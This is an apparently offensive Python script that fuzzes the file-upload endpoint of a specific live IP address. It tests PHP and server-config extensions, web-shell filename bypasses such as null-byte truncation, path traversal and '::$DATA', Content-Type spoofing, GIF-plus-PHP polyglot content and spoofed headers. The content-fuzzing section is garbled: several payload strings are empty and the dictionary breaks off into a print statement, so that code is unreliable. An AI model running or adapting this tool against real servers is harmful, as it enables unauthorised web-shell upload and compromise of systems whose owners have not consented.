import requests import os import random import string from urllib.parse import quote # --- 配置 --- TARGET_URL = 'https://150.40.239.108/ucard_upload.php' TEST_CONTENT = b'This is a test file content.' LOG_FILE = "upload_test_log.txt" if not os.path.exists('test.tmp'): with open('test.tmp', 'wb') as f: f.write(TEST_CONTENT) def log_write(msg): with open(LOG_FILE, "a", encoding="utf-8") as f: f.write(msg + "\n") def print_banner(title): banner = f"\n{'=' * 60}\n[*] {title}\n{'=' * 60}" print(banner) log_write(banner) def perform_upload(filename, content, content_type='application/octet-stream', extra_headers=None, extra_data=None): files = {'file': (filename, content, content_type)} try: r = requests.post(TARGET_URL, files=files, data=extra_data, headers=extra_headers, timeout=5) if "success" in r.text.lower(): return True, r.text else: return False, r.text except Exception as e: return False, str(e) def fuzz_extensions(): print_banner("1. 探测文件扩展名") ext_groups = { "Web脚本": ['.php', '.php3', '.php4', '.php5', '.phtml', '.phar', '.pht', '.inc', '.phps'], "Web配置": ['.htaccess', '.user.ini', '.web.config', '.htpasswd'], "常见文件": ['.jpg', '.jpeg', '.png', '.gif', '.bmp', '.txt', '.html', '.zip', '.pdf', '.docx'], "可执行文件": ['.exe', '.bat', '.cmd', '.sh', '.ps1'], "其他脚本": ['.jsp', '.asp', '.aspx', '.pl', '.py', '.cgi', '.rb'], "特殊类型": ['.svg', '.xml', '.json', '.log', '.swf', '.jar'] } allowed = [] for group, exts in ext_groups.items(): print(f"\n--- {group} ---") for ext in exts: filename = f"test{ext}" success, resp = perform_upload(filename, TEST_CONTENT) status = "✅ ALLOWED" if success else "❌ DENIED" print(f"{ext:<10} {status}") if success: allowed.append(ext) log_write(f"[+] Allowed extension: {ext}") print("\n--- [结论] ---") if allowed: print(f"✅ 允许的扩展名: {', '.join(allowed)}") log_write(f"[结论] 允许的扩展名: {', '.join(allowed)}") else: print("❌ 未发现允许的扩展名") log_write("[结论] 未发现允许的扩展名") return allowed def fuzz_filename_tricks(allowed_ext): if not allowed_ext: return base_ext = allowed_ext[0] print_banner(f"2. 文件名绕过技巧 (基础扩展名: {base_ext})") tricks = { "大小写混淆": f"SHeLL.PHP", "双扩展名1": f"shell.php{base_ext}", "双扩展名2": f"shell{base_ext}.php", "末尾加点": f"shell.php.", "末尾空格": f"shell.php ", "::$DATA": f"shell.php::$DATA", "空字节截断": f"shell.php%00.jpg", "换行符": f"shell.php\n", "URL编码": f"sh%65ll.php", "超长后缀": f"shell.{'a'*100}", "非ASCII字符": f"shell中文.php", "路径穿越": f"../shell.php", "多后缀组合": f"shell.php.{base_ext}.png", "分号截断": f"shell.php;.jpg", "反斜杠": f"shell\\.php", "双引号包裹": f'"shell.php"' } for desc, fname in tricks.items(): success, _ = perform_upload(fname, TEST_CONTENT) status = "✅ SUCCESS" if success else "❌ FAILED" print(f"{desc:<20} -> {fname:<30} {status}") if success: log_write(f"[+] Filename trick success: {desc} | {fname}") def fuzz_content_types(allowed_ext): if not allowed_ext: return base_ext = allowed_ext[0] print_banner(f"3. Content-Type 绕过检测 (文件: test{base_ext})") ctypes = [ 'image/jpeg', 'image/png', 'image/gif', 'image/bmp', 'text/plain', 'text/html', 'text/xml', 'application/octet-stream', 'application/x-php', 'application/json', 'multipart/form-data', 'application/x-www-form-urlencoded', 'application/zip', 'application/pdf', 'invalid/type' ] for ct in ctypes: filename = f"test{base_ext}" success, _ = perform_upload(filename, TEST_CONTENT, content_type=ct) status = "✅ ACCEPT" if success else "❌ REJECT" print(f"{ct:<30} -> {status}") if success: log_write(f"[+] Content-Type bypass: {ct}") def fuzz_content(allowed_ext): if not allowed_ext: return base_ext = allowed_ext[0] print_banner(f"4. 文件内容绕过检测 (扩展名: {base_ext})") gif_header = b'\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00\xff\xff\xff\x00\x00\x00\x2c\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02\x44\x01\x00\x3b' contents = { "纯文本": b"Hello world", "GIF文件头": gif_header, "PHP标签": b"", "短标签": b"", "GIF+PHP": gif_header + b"", "PHP+GIF": b"" + gif_header, "JS脚本": b"", "HTML+PHP": b"", "Base64编码PHP": b"PD9waHAgcGhwaW5mbygpOyA/Pg==", "UTF-16 BOM + PHP": b'\xff\xfe', "注释包裹PHP": b"/* */", "空字节截断内容": b" {status}") if success: log_write(f"[+] Content bypass: {desc}") def fuzz_headers_and_params(allowed_ext): if not allowed_ext: return base_ext = allowed_ext[0] print_banner(f"5. 请求头与参数绕过检测") headers_list = [ {"User-Agent": "Mozilla/5.0"}, {"User-Agent": "curl/7.68.0"}, {"X-Forwarded-For": "127.0.0.1"}, {"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryABC"}, {"Referer": TARGET_URL}, {"Authorization": "Basic dXNlcjpwYXNz"}, {"Cookie": "sessionid=abc123"} ] for i, headers in enumerate(headers_list): fname = f"header_test{i}{base_ext}" success, _ = perform_upload(fname, TEST_CONTENT, extra_headers=headers) status = "✅ SUCCESS" if success else "❌ FAILED" print(f"Header Set {i+1} -> {status}") if success: log_write(f"[+] Header bypass set {i+1}: {headers}") print("\n--- 多参数测试 ---") multi_params = [ {"file": ("test.php", TEST_CONTENT), "name": "test.jpg"}, {"file": ("test.jpg", TEST_CONTENT), "upload": "1"}, {"file": ("test.php", TEST_CONTENT), "type": "image/jpeg"}, {"file": ("test.php", TEST_CONTENT), "token": "fake_csrf_token"} ] for i, params in enumerate(multi_params): try: r = requests.post(TARGET_URL, files=params, timeout=5) success = "success" in r.text.lower() status = "✅ SUCCESS" if success else "❌ FAILED" print(f"Multi-param {i+1} -> {status}") if success: log_write(f"[+] Multi-param bypass {i+1}: {params}") except Exception as e: print(f"Multi-param {i+1} -> ERROR: {e}") # --- 主执行 --- if __name__ == '__main__': allowed = fuzz_extensions() if allowed: fuzz_filename_tricks(allowed) fuzz_content_types(allowed) fuzz_content(allowed) fuzz_headers_and_params(allowed) else: print("\n[!] 未发现任何允许的扩展名,后续测试无法进行。") if os.path.exists("test.tmp"): os.remove("test.tmp") print("\n[*] 所有测试完成,日志已写入 upload_test_log.txt")